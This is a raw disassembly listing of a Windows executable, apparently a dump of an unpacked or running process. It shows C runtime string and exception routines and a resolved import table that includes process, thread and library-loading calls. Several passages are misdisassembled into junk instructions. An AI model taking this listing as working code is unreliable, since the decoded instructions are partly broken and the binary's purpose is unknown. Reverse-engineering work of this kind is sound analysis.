		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_427D04
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_40D5C9
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_426717
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_426516	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426553	proc near		; DATA XREF: seg001:00427D1Co

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_42658C
		lea	eax, [ebp+var_1C]
		push	offset dword_428180
		push	eax
		call	sub_42676B


loc_426570:				; DATA XREF: seg001:off_427D14o
		push	esi
		mov	esi, ecx
		call	sub_426516
		test	[esp+20h+var_18], 1
		jz	short loc_426586
		push	esi
		call	sub_41D323
		pop	ecx


loc_426586:				; CODE XREF: sub_426553+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_426553	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42658C	proc near		; CODE XREF: sub_426553+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_4263D1
		mov	dword ptr [esi], offset	off_427D14
		mov	eax, esi
		pop	esi
		retn	4
sub_42658C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265A4	proc near		; DATA XREF: seg002:00429018o

; FUNCTION CHUNK AT 004265DA SIZE 0000000C BYTES

		test	ds:byte_4E180C,	1
		jnz	short loc_4265B4
		or	ds:byte_4E180C,	1


loc_4265B4:				; CODE XREF: sub_4265A4+7j
		call	sub_4265CE
		test	ds:byte_4E2B98,	1
		jnz	short loc_4265C9
		or	ds:byte_4E2B98,	1


loc_4265C9:				; CODE XREF: sub_4265A4+1Cj
		jmp	loc_4265DA
sub_4265A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265CE	proc near		; CODE XREF: sub_4265A4:loc_4265B4p
		push	offset nullsub_1
		call	sub_41D6E0
		pop	ecx
		retn
sub_4265CE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4265A4


loc_4265DA:				; CODE XREF: sub_4265A4:loc_4265C9j
		push	offset nullsub_1
		call	sub_41D6E0
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_4265A4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4265E8	proc near		; CODE XREF: sub_40CD4C+5Ep
					; sub_40F168+14Ap ...
		jmp	ds:dword_427228
sub_4265E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4265EE	proc near		; CODE XREF: sub_41CF70+23p
					; sub_41D214+13p
		jmp	ds:dword_4271A0
sub_4265EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265F4	proc near		; CODE XREF: seg000:00417954p
					; seg000:0041796Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	ds:dword_4E15B0, 0
		push	ebx
		jnz	short loc_42663A
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_426606:				; CODE XREF: sub_4265F4+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426618
		cmp	bx, 41h
		jb	short loc_426618
		add	ebx, 20h


loc_426618:				; CODE XREF: sub_4265F4+19j
					; sub_4265F4+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_42662A
		cmp	ax, 41h
		jb	short loc_42662A
		add	eax, 20h


loc_42662A:				; CODE XREF: sub_4265F4+2Bj
					; sub_4265F4+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_42666A
		cmp	bx, ax
		jz	short loc_426606
		jmp	short loc_42666A
; ---------------------------------------------------------------------------


loc_42663A:				; CODE XREF: sub_4265F4+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_426644:				; CODE XREF: sub_4265F4+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_4267A5
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_4267A5
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_426668
		cmp	bx, ax
		jz	short loc_426644


loc_426668:				; CODE XREF: sub_4265F4+6Dj
		pop	edi
		pop	esi


loc_42666A:				; CODE XREF: sub_4265F4+3Dj
					; sub_4265F4+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_4265F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_426674	proc near		; DATA XREF: seg001:off_427D3Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426717
		test	[esp+4+arg_0], 1
		jz	short loc_42668A
		push	esi
		call	sub_41D323
		pop	ecx


loc_42668A:				; CODE XREF: sub_426674+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426674	endp


; =============== S U B	R O U T	I N E =======================================



sub_426690	proc near		; CODE XREF: sub_4262EA+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D3C
		push	dword ptr [edi]
		call	sub_41B890
		inc	eax
		push	eax
		call	sub_41D665
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4266BF
		push	dword ptr [edi]
		push	eax
		call	sub_41C550
		pop	ecx
		pop	ecx


loc_4266BF:				; CODE XREF: sub_426690+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_426690	endp


; =============== S U B	R O U T	I N E =======================================



sub_4266CD	proc near		; CODE XREF: sub_4263D1+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D3C
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_42670A
		push	dword ptr [edi+4]
		call	sub_41B890
		inc	eax
		push	eax
		call	sub_41D665
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_426710
		push	dword ptr [edi+4]
		push	eax
		call	sub_41C550
		pop	ecx
		pop	ecx
		jmp	short loc_426710
; ---------------------------------------------------------------------------


loc_42670A:				; CODE XREF: sub_4266CD+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_426710:				; CODE XREF: sub_4266CD+2Ej
					; sub_4266CD+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_4266CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_426717	proc near		; CODE XREF: sub_426378+2Bp
					; sub_42642E+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D3C
		jz	short locret_42672C
		push	dword ptr [ecx+4]
		call	sub_41D323
		pop	ecx

locret_42672C:				; CODE XREF: sub_426717+Aj
		retn
sub_426717	endp


; =============== S U B	R O U T	I N E =======================================



sub_42672D	proc near		; DATA XREF: seg001:00427D40o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_426739
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_426739:				; CODE XREF: sub_42672D+5j
		retn
sub_42672D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42673A	proc near		; CODE XREF: seg000:00426752p
		mov	dword ptr [ecx], offset	off_427D5C
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_42674E
		push	ecx
		call	sub_41B961
		pop	ecx

locret_42674E:				; CODE XREF: sub_42673A+Bj
		retn
sub_42673A	endp

; ---------------------------------------------------------------------------


loc_42674F:				; DATA XREF: seg001:off_427D5Co
		push	esi
		mov	esi, ecx
		call	sub_42673A
		test	byte ptr [esp+8], 1
		jz	short loc_426765
		push	esi
		call	sub_41D323
		pop	ecx


loc_426765:				; CODE XREF: seg000:0042675Cj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42676B	proc near		; CODE XREF: sub_426290+54p
					; sub_42635B+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D60
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	ds:dword_42705C	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_42676B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4267A5	proc near		; CODE XREF: sub_4265F4+56p
					; sub_4265F4+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_4267B7
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4267B7:				; CODE XREF: sub_4267A5+Bj
		cmp	ds:dword_4E15B0, 0
		jnz	short loc_4267D1
		cmp	ax, 41h
		jb	short locret_426818
		cmp	ax, 5Ah
		ja	short locret_426818
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4267D1:				; CODE XREF: sub_4267A5+19j
		cmp	ax, 100h
		jnb	short loc_4267EB
		push	1
		push	eax
		call	sub_426A53
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4267EB
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_4267EB:				; CODE XREF: sub_4267A5+30j
					; sub_4267A5+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	ds:dword_4E15B0
		call	loc_42681A
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426818
		mov	ax, [ebp+var_2]

locret_426818:				; CODE XREF: sub_4267A5+1Fj
					; sub_4267A5+25j ...
		leave
		retn
sub_4267A5	endp

; ---------------------------------------------------------------------------


loc_42681A:				; CODE XREF: sub_4267A5+5Fp
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D80
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	esi, esi
		cmp	ds:dword_4E1804, esi
		jnz	short loc_426890
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427918
		mov	edi, 100h
		push	edi
		push	esi
		call	ds:dword_427050	; LCMapStringW
		test	eax, eax
		jz	short loc_42686E
		mov	ds:dword_4E1804, ebx
		jmp	short loc_426890
; ---------------------------------------------------------------------------


loc_42686E:				; CODE XREF: seg000:00426864j
		push	esi
		push	esi
		push	ebx
		push	offset dword_4D10A8
		push	edi
		push	esi
		call	near ptr 0B00000h
		sbb	[ebp-767BF040h], eax
		add	[eax], eax
		add	bh, al
		add	eax, offset dword_4E1804
		add	al, [eax]
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------


loc_426890:				; CODE XREF: seg000:00426848j
					; seg000:0042686Cj
		cmp	[ebp+14h], esi
		jle	short loc_4268A5
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		call	sub_426A23
		pop	ecx
		pop	ecx
		mov	[ebp+14h], eax


loc_4268A5:				; CODE XREF: seg000:00426893j
		mov	eax, ds:dword_4E1804
		cmp	eax, 1
		jnz	short loc_4268CC
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_427050	; LCMapStringW
		jmp	loc_426A11
; ---------------------------------------------------------------------------


loc_4268CC:				; CODE XREF: seg000:004268ADj
		cmp	eax, 2
		jnz	loc_426A0F
		cmp	[ebp+20h], esi
		jnz	short loc_4268E2
		mov	eax, ds:dword_4E15C0
		mov	[ebp+20h], eax


loc_4268E2:				; CODE XREF: seg000:004268D8j
		push	esi
		push	esi
		push	esi
		push	esi
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	220h
		push	dword ptr [ebp+20h]
		call	ds:dword_427180	; WideCharToMultiByte
		mov	[ebp-20h], eax
		cmp	eax, esi
		jz	loc_426A0F
		mov	[ebp-4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C1D0
		mov	[ebp-18h], esp
		mov	eax, esp
		mov	[ebp-1Ch], eax
		jmp	short loc_426928
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	esi, esi
		mov	[ebp-1Ch], esi


loc_426928:				; CODE XREF: seg000:0042691Aj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	[ebp-1Ch], esi
		jz	loc_426A0F
		push	esi
		push	esi
		push	dword ptr [ebp-20h]
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	220h
		push	dword ptr [ebp+20h]
		call	ds:dword_427180	; WideCharToMultiByte
		test	eax, eax
		jz	loc_426A0F
		push	esi
		push	esi
		push	dword ptr [ebp-20h]
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 0B00000h
		db	64h
		mov	edi, eax
		mov	[ebp-2Ch], edi
		cmp	edi, esi
		jz	loc_426A0F
		mov	dword ptr [ebp-4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41C1D0
		mov	[ebp-18h], esp
		mov	ebx, esp
		mov	[ebp-24h], ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_4269AB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	esi, esi
		xor	ebx, ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	edi, [ebp-2Ch]


loc_4269AB:				; CODE XREF: seg000:00426997j
		cmp	ebx, esi
		jz	short loc_426A0F
		push	edi
		push	ebx
		push	dword ptr [ebp-20h]
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 0B00000h
		lock test eax, eax
		jz	short loc_426A0F
		test	byte ptr [ebp+0Dh], 4
		jz	short loc_4269E9
		mov	eax, [ebp+1Ch]
		cmp	eax, esi
		jz	short loc_426A0B
		cmp	eax, edi
		jl	short loc_4269DA
		mov	eax, edi


loc_4269DA:				; CODE XREF: seg000:004269D6j
		push	eax
		push	ebx
		push	dword ptr [ebp+18h]
		call	sub_41BCA0
		add	esp, 0Ch
		jmp	short loc_426A0B
; ---------------------------------------------------------------------------


loc_4269E9:				; CODE XREF: seg000:004269CBj
		cmp	[ebp+1Ch], esi
		jnz	short loc_4269F2
		push	esi
		push	esi
		jmp	short loc_4269F8
; ---------------------------------------------------------------------------


loc_4269F2:				; CODE XREF: seg000:004269ECj
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]


loc_4269F8:				; CODE XREF: seg000:004269F0j
		push	edi
		push	ebx
		push	1
		push	dword ptr [ebp+20h]
		call	ds:dword_427184	; MultiByteToWideChar
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426A0F


loc_426A0B:				; CODE XREF: seg000:004269D2j
					; seg000:004269E7j
		mov	eax, edi
		jmp	short loc_426A11
; ---------------------------------------------------------------------------


loc_426A0F:				; CODE XREF: seg000:004268CFj
					; seg000:004268FFj ...
		xor	eax, eax


loc_426A11:				; CODE XREF: seg000:004268C7j
					; seg000:00426A0Dj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_426A23	proc near		; CODE XREF: seg000:0042689Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426A42


loc_426A33:				; CODE XREF: sub_426A23+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426A42
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426A33


loc_426A42:				; CODE XREF: sub_426A23+Ej
					; sub_426A23+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426A50
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_426A50:				; CODE XREF: sub_426A23+24j
		mov	eax, edx
		retn
sub_426A23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426A53	proc near		; CODE XREF: sub_4267A5+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426A93
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426A77
		movzx	eax, [ebp+arg_0]
		mov	ecx, ds:off_442564
		mov	ax, [ecx+eax*2]
		jmp	short loc_426A9A
; ---------------------------------------------------------------------------


loc_426A77:				; CODE XREF: sub_426A53+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	loc_426AA5
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426A97


loc_426A93:				; CODE XREF: sub_426A53+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426A97:				; CODE XREF: sub_426A53+3Ej
		mov	eax, [ebp+var_4]


loc_426A9A:				; CODE XREF: sub_426A53+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426A53	endp

; ---------------------------------------------------------------------------


loc_426AA5:				; CODE XREF: sub_426A53+34p
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D98
		push	offset sub_4233D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	eax, ds:dword_4E1808
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426B14
		lea	eax, [ebp-1Ch]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427918
		push	esi
		call	ds:dword_427020	; GetStringTypeW
		test	eax, eax
		jz	short loc_426AF2
		mov	eax, esi
		jmp	short loc_426B0F
; ---------------------------------------------------------------------------


loc_426AF2:				; CODE XREF: seg000:00426AECj
		lea	eax, [ebp-1Ch]
		push	eax
		push	esi
		push	offset dword_4D10A8
		push	esi
		push	edi
		call	near ptr 0B00000h
		int	85h
		ror	byte ptr [edi],	84h
		dec	edx
		add	[eax], eax
		add	[edx+2], ch
		pop	eax


loc_426B0F:				; CODE XREF: seg000:00426AF0j
		mov	ds:dword_4E1808, eax


loc_426B14:				; CODE XREF: seg000:00426AD4j
		cmp	eax, 1
		jnz	short loc_426B30
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_427020	; GetStringTypeW
		jmp	loc_426C58
; ---------------------------------------------------------------------------


loc_426B30:				; CODE XREF: seg000:00426B17j
		cmp	eax, 2
		jnz	loc_426C56
		cmp	[ebp+18h], edi
		jnz	short loc_426B46
		mov	eax, ds:dword_4E15C0
		mov	[ebp+18h], eax


loc_426B46:				; CODE XREF: seg000:00426B3Cj
		push	edi
		push	edi
		push	edi
		push	edi
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	220h
		push	dword ptr [ebp+18h]
		call	ds:dword_427180	; WideCharToMultiByte
		mov	esi, eax
		mov	[ebp-28h], esi
		cmp	esi, edi
		jz	loc_426C56
		mov	[ebp-4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C1D0
		mov	[ebp-18h], esp
		mov	eax, esp
		mov	[ebp-2Ch], eax
		push	esi
		push	edi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_426BA4
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		mov	[ebp-2Ch], edi
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-28h]


loc_426BA4:				; CODE XREF: seg000:00426B8Fj
		cmp	[ebp-2Ch], edi
		jz	loc_426C56
		push	edi
		push	edi
		push	esi
		push	dword ptr [ebp-2Ch]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	220h
		push	dword ptr [ebp+18h]
		call	ds:dword_427180	; WideCharToMultiByte
		test	eax, eax
		jz	loc_426C56
		mov	dword ptr [ebp-4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C1D0
		mov	[ebp-18h], esp
		mov	ebx, esp
		mov	[ebp-24h], ebx
		jmp	short loc_426BF9
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		xor	ebx, ebx


loc_426BF9:				; CODE XREF: seg000:00426BECj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426C56
		mov	eax, [ebp+1Ch]
		cmp	eax, edi
		jnz	short loc_426C0D
		mov	eax, ds:dword_4E15B0


loc_426C0D:				; CODE XREF: seg000:00426C06j
		mov	ecx, [ebp+10h]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	dword ptr [ebp-28h]
		push	dword ptr [ebp-2Ch]
		push	dword ptr [ebp+8]
		push	eax
		call	near ptr 0B00000h
		and	cl, [ecx-7E991FBBh]


loc_426C37:				; CODE XREF: seg000:loc_426C37j
		jle	short loc_426C37
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	74h
		dd 3E816619h, 1275FFFFh, 75FF5357h, 66E2E814h, 0C483FFFFh
		dd 0E0458B0Ch
; ---------------------------------------------------------------------------
		jmp	short loc_426C58
; ---------------------------------------------------------------------------


loc_426C56:				; CODE XREF: seg000:00426B33j
					; seg000:00426B65j ...
		xor	eax, eax


loc_426C58:				; CODE XREF: seg000:00426B2Bj
					; seg000:00426C54j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_426C6C:				; DATA XREF: seg001:00427F5Co
		lea	ecx, [ebp-38h]
		jmp	loc_40D3BE
; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426C8A
		mov	ecx, [ebp+8]
		jmp	loc_40D3BE
; ---------------------------------------------------------------------------

locret_426C8A:				; CODE XREF: seg000:00426C7Cj
		retn
; ---------------------------------------------------------------------------


loc_426C8B:				; DATA XREF: sub_40CF88o
		mov	eax, offset dword_427F30
		jmp	loc_41CFBF
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D3BE
; ---------------------------------------------------------------------------


loc_426CA0:				; DATA XREF: seg001:00427F8Co
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D3BE
; ---------------------------------------------------------------------------


loc_426CA8:				; DATA XREF: sub_40D12Ao
		mov	eax, offset dword_427F60
		jmp	loc_41CFBF
; ---------------------------------------------------------------------------
		align 4


loc_426CB4:				; DATA XREF: sub_40D6A1o
		mov	eax, offset dword_427F90
		jmp	loc_41CFBF
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-20h]
		jmp	loc_40D3BE
; ---------------------------------------------------------------------------


loc_426CC8:				; DATA XREF: sub_426290o
		mov	eax, offset dword_428068
		jmp	loc_41CFBF
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-14h]
		jmp	sub_426717
; ---------------------------------------------------------------------------


loc_426CDC:				; DATA XREF: sub_4262EAo
		mov	eax, offset dword_428090
		jmp	loc_41CFBF
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_426717
; ---------------------------------------------------------------------------


loc_426CF0:				; DATA XREF: sub_426378o
		mov	eax, offset dword_4280D8
		jmp	loc_41CFBF
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_426717
; ---------------------------------------------------------------------------


loc_426D04:				; DATA XREF: sub_4263D1o
		mov	eax, offset dword_428100
		jmp	loc_41CFBF
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_426717
; ---------------------------------------------------------------------------


loc_426D18:				; DATA XREF: sub_42642Eo
		mov	eax, offset dword_428128
		jmp	loc_41CFBF
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_40D3BE
; ---------------------------------------------------------------------------


loc_426D2C:				; DATA XREF: sub_4264BCo
		mov	eax, offset dword_428190
		jmp	loc_41CFBF
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_426717
; ---------------------------------------------------------------------------


loc_426D40:				; DATA XREF: sub_426516o
		mov	eax, offset dword_4281B8
		jmp	loc_41CFBF
; ---------------------------------------------------------------------------
		align 400h
seg000		ends

; Section 2. (virtual address 00027000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00027000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg001		segment	para public 'CODE' use32
		assume cs:seg001
		;org 427000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_427000	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileA					; sub_41011E+5D7r
		dd 7C833478h
dword_427008	dd 7C80A35Eh	; resolved to->KERNEL32.CompareStringW					; sub_425D2F+261r
dword_42700C	dd 7C80D077h	; resolved to->KERNEL32.CompareStringA					; sub_425D2F+B9r
		dd 7C832044h, 7C80BCCFh, 7C809E01h
dword_42701C	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; seg000:004245C9r
dword_427020	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; seg000:00423C7Cr ...
		dd 7C838A0Ch, 7C812641h, 7C81DC03h, 7C810E51h, 7C812F39h
		dd 7C80CC97h
dword_42703C	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsWdword_427040	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsA					; sub_4230EC+E1r
dword_427044	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsW		dd 7C81DF77h
dword_42704C	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_427050	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; seg000:00422B08r ...
		dd 7C838DE8h
dword_427058	dd 7C9109EDh	; resolved to->NTDLL.RtlSizeHeapdword_42705C	dd 7C812A09h	; resolved to->KERNEL32.RaiseException					; sub_42676B+2Er
		dd 7C8127A7h
dword_427064	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_401135+29r ...
dword_427068	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; seg000:0040422Ar ...
dword_42706C	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_40C574+9Dr ...
		dd 7C802367h, 7C80B4CFh, 7C814EEAh
dword_42707C	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; seg000:00402513r ...
		dd 7C831EABh
dword_427084	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcess		dd 7C809920h
dword_42708C	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; seg000:loc_4037D6r ...
		dd 7C8286EEh, 7C812782h
dword_427098	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; sub_41DA8E+4r
dword_42709C	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA		dd 7C802520h, 7C80E93Fh
dword_4270A8	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; seg000:00404028r ...
dword_4270AC	dd 7C81CE03h	; resolved to->KERNEL32.TerminateThread		dd 7C835DCAh, 7C835E8Fh
dword_4270B8	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_409A6D:loc_409F7Br ...
dword_4270BC	dd 987574h						; sub_417517+60r ...
